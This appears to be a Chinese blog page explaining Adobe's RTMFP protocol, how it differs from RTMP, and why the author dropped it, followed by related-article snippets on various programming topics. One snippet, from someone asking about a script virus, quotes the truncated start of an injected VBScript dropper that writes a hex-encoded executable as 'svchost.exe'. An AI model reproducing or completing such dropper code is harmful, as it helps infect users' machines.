RTMFP是什么鬼?

做直播的朋友相信对RTMP都非常了解,那说起RTMP直播那什么推流、拉流、RTMP服务器搭建嗖嗖从脑海中飘过,但是今天的主题是要说说这个RTMFP,他到底是什么鬼请容我一一道来。

为啥提到RTMFP,主要是公司在做直播连麦(连线)的功能初期,寻找解决方案的时候不经意之间搜到他,研究的一段时间后选择放弃,中间走过曲折的路就当是历史的记忆,现在需要将他保存下来,防止后人再走之前的老路。

RTMFP是Adobe公司开发的一套新的通信协议,全称Real Time Media Flow Protocol, 该协议可以让使用Adobe Flash Player的终端用户之间进行直接通信。用Adobe AIR框架开发的程序也可以用此协议来发布直播、实时信息,RTMFP是基于UDP协议的解决方案。

通过使用RTMFP, 那些依赖直播、实时通信的应用,比如社区、音视频聊天和多人游戏就有能力来发布高质量的通信解决方案。RTMFP让终端用户可以直接连接并通信,可以使用麦克风和摄象头直接聊天。RTMFP将不支持文件和文档共享。此方案提升了目前Flash Player在网络交互方面的体验。

RTMFP将减少直播、实时聊天方案的带宽消耗,例如音视频聊天和多人游戏。因为RTMFP的数据在终端用户之间流动,而不是和服务器,所以此方案很适合于大范围的部署。RTMFP因为采用了UDP也提升了传送的速度。UDP是Internet上一种更有效传送音频视频的方法,虽然会有一些丢包,错包。RTMFP有两个特性可以帮助解决一些连接错误。

快速连接恢复:连接在意外情况下将快速恢复。例如,一个无线连接掉线了,一旦重连,他将迅速拥有所有的传送能力。

IP动态化:一个活动的网络会话将以PEER来标识,即使他变了一个IP,也可以保持原来的会话。例如,一个笔记本在一个无线网络获得了一个新IP地址,他将立刻继续刚才的会话。

RTMP和RTMFP之间的不同

最基本的确实是他们在网络上采用的协议。RTMFP是基于UDP的,RTMP是基于TCP的。UDP在传送直播数据方面比TCP还是有较多优势的,比如减少延时,对丢包的容忍,虽然在可靠性上有所损失。不象RTMP, RTMFP支持Flash Player直接发送数据给另一个,而不经过Server。服务端连接将被用来初始化并交互一些客户端之间的信息,也可用来进行服务端调用或者作为进入其他系统的网关。FMS也将用来为用户提供地址认证服务和NAT地址转换服务,避免用户陷入混乱。

Adobe提供的Cirrus(Stratus)超级节点服务,以帮助独立的Flash Player节点登录获得P2P迭代网(overlay)的ID,协助穿透防火墙等。用户可以另外构建单独的Tracker服务帮助筛选节点,或者直接使用RTMFP的group服务,采用组播方式进行数据分享。

以上主要来源于BaiDu,从这些信息中我们可以了解到RTMFP的初衷是要解决RTMP延时高的问题,采用RTMFP可以提高直播的实时性,在视频互动直播中应该有他的一席之地,但是就目前市场上来看采用RTMFP协议的方案非常至少,甚至可以说除了Adobe自己其他公司很少玩这一套解决方案,分析其主要原因归类如下:

一,Adobe不咋玩开源,而且RTMFP的协议也比较复杂,自己想搞一套RTMFP的协议栈那得废老劲了 :(

二,实时通讯的可替代方案很多很多,基于UDP的实时通讯网络上到处都是,标准的私有的、开源的闭源的比比皆是,为毛还要搞RTMFP呢?

三,还是Adobe自己,Adobe自己弄了一套这个协议又不咋推广,鬼才鸟你!!!

QQ交流群:580477436

时间: 2024-08-04 04:36:06

RTMFP是什么鬼?的相关文章

今天中了一个脚本病毒。把我的所有 html 加了 vbs 脚本,WriteData 是什么鬼?

今天中了一个脚本病毒.把我的所有 html 加了 vbs 脚本: WriteData 是什么鬼? <SCRIPT Language=VBScript><!-- DropFileName = "svchost.exe" WriteData = "4D5A90000300000004000000FFFF0000B8000000000000004000000000000000000000000000000000000000000000000000000000000

单例是个什么鬼

单例是个什么鬼 写在前面 常常听到有人说起单例,那么单例到底是什么呢?又该怎么用呢?或者说,它的应用场景有哪些呢?为了搞清楚这些问题,决定自己亲自实践一下,加深感悟.文中用到的一些单例的实现方式可能是从网上参考的,感谢大家的分享和讲解,这里就不一一引用啦. 单例是什么 单例,顾名思义,就是单个实例,也就是说,某个类如果实现了单例模式,那这个类就只能生成一个实例.单例模式是设计模式的一种,关于设计模式,我大概了解过有工厂模式,抽象工程模式,观察者模式,原型模式等,具体使用哪种设计模式,要视具体应用

【Spark 深入学习 01】 Spark是什么鬼?

经过一段时间的学习和测试,是时候给spark的学习经历做一个总结了,对于spark的了解相对晚了写.春节期间(预计是无大事),本博准备推出20篇左右spark系列原创文章(先把牛吹出去再说) ,尽量将枯燥无味的技术讲的通俗易懂- r.kelly 2013年的时候第一次听说spark这么个神器,那时候它还幼小,没什么人鸟它,但是它强大基因注定了它不是个凡夫俗子, 故事就是从那一小撮人群中开始的. 一.Spark何许人也 姓名:Spark 性别:未知 出生地:加州大学伯克利分校AMP实验室 出生年月

RTMP vs RTMFP

实时流媒体协议(RTMFP)是Adobe公司开发的一套新的通信协议,它可以使终端用户在构建于LCCS或基于Adobe AIR架构的多个Adobe Flash 播放器和应用程序之间进行直接通信. 通过RTMFP协议,社区网络和多人游戏等实时通信应用程序就能够提供高质量的实时通信解决方案. 同时,RTMFP协议也实现了终端用户通过电脑上的麦克风和网络摄像头直接互相连接和通信. RTMFP协议基于用户数据报协议(UDP),而RTMP协议基于传输控制协议(TCP). 在传递实时流媒体时,基于UDP的协议

什么鬼,又不知道怎么命名class了

什么鬼,又不知道怎么命名class了 2015/10/25 · CSS · class 分享到:5 原文出处: 结一(@结一w3cplus) 相信写css的人都会遇到下面的问题: 糟糕,怎么命名这个class,好像不太贴切,要是冲突了怎么办,要不要设计成通用一点… 而改别人css代码的时候则会一直有个疑问:这个class到底是只在这个地方用了,还是其他地方都用了? 于是就有了下面的做法: 最后终于被逼出了个class,简洁也好,中英混搭也罢,看着一头雾水也没关系,反正最后页面显示出来的. 这个c

“字节序”是个什么鬼?

“字节序”是个什么鬼? http://mp.weixin.qq.com/s?__biz=MjM5NTU2MTQwNA==&mid=2650652324&idx=1&sn=5502d3ab977b9894f50592266544b30c&scene=0 大端.小端引发的思考.论顺序的重要性1.做饭的故事今天女朋友加班,机智的她早已在昨晚准备好食材,回家只需下锅便可.谁知开会就是个无底洞,到了B1,还有B2,无穷匮也.辛苦如她,为了能让她一回家就吃上热腾腾的饭菜,我准备亲自下厨

python2.7.x的字符串编码到底什么鬼?(中文和英文的处理)

一直以来我其实一直对python的编码弄得非常晕,能正常编码,也能处理一些情况.但是始终不明白有些问题究竟为何出,原因是什么,为什么要这样用. 今天晚上正好好好研究了一番解答了自己心中的困惑. Q:python2.7.x里面的中文表示到底是什么鬼? A:直接来看看 In [23]: x = '好不好喝都要喝' In [24]: x Out[24]: '\xe5\xa5\xbd\xe4\xb8\x8d\xe5\xa5\xbd\xe5\x96\x9d\xe9\x83\xbd\xe8\xa6\x81\

海尔打造的“青年创客计划”,是个什么鬼?

9月12日,海尔创客实验室宣布正式启动"青年创客计划",并且与Startup Weekend实现战略合作在中国推出"Startup WeekendYouth Maker Edition 创业周末(青年创客版)" 计划.据了解,该"青年创客计划"是以在校大学生为对象的创业扶持辅导平台,为具备创业.创意等特征的在校学生提供资源支持.而这个发布会上同时发起的与Startup Weekend实现合作共推创业周末的青年创客版,也将因为接入外部合作而开启创客

EurekaLog是什么鬼?

D的all工程文件打开后,莫名其妙就处于等待打开状态.因为最后一次调整是安装了RO9.0.所以一直怀疑是RO的原因.再加上win7授权问题,安装RO一直不顺当.所以折腾的时间最多. 其他把RO全部卸载掉后,还是问题现象依旧.在此过程中编译部分简单程序出现过运行后内存溢出等异常.所以开始怀疑是EurekaLog.几天后的今日早晨,起来后第一件事是卸载EurekaLog,然后打开所有的Project工程文件,奔跑如飞....EurekaLog是什么鬼?联网后出现问题.同学们联网需谨慎啊!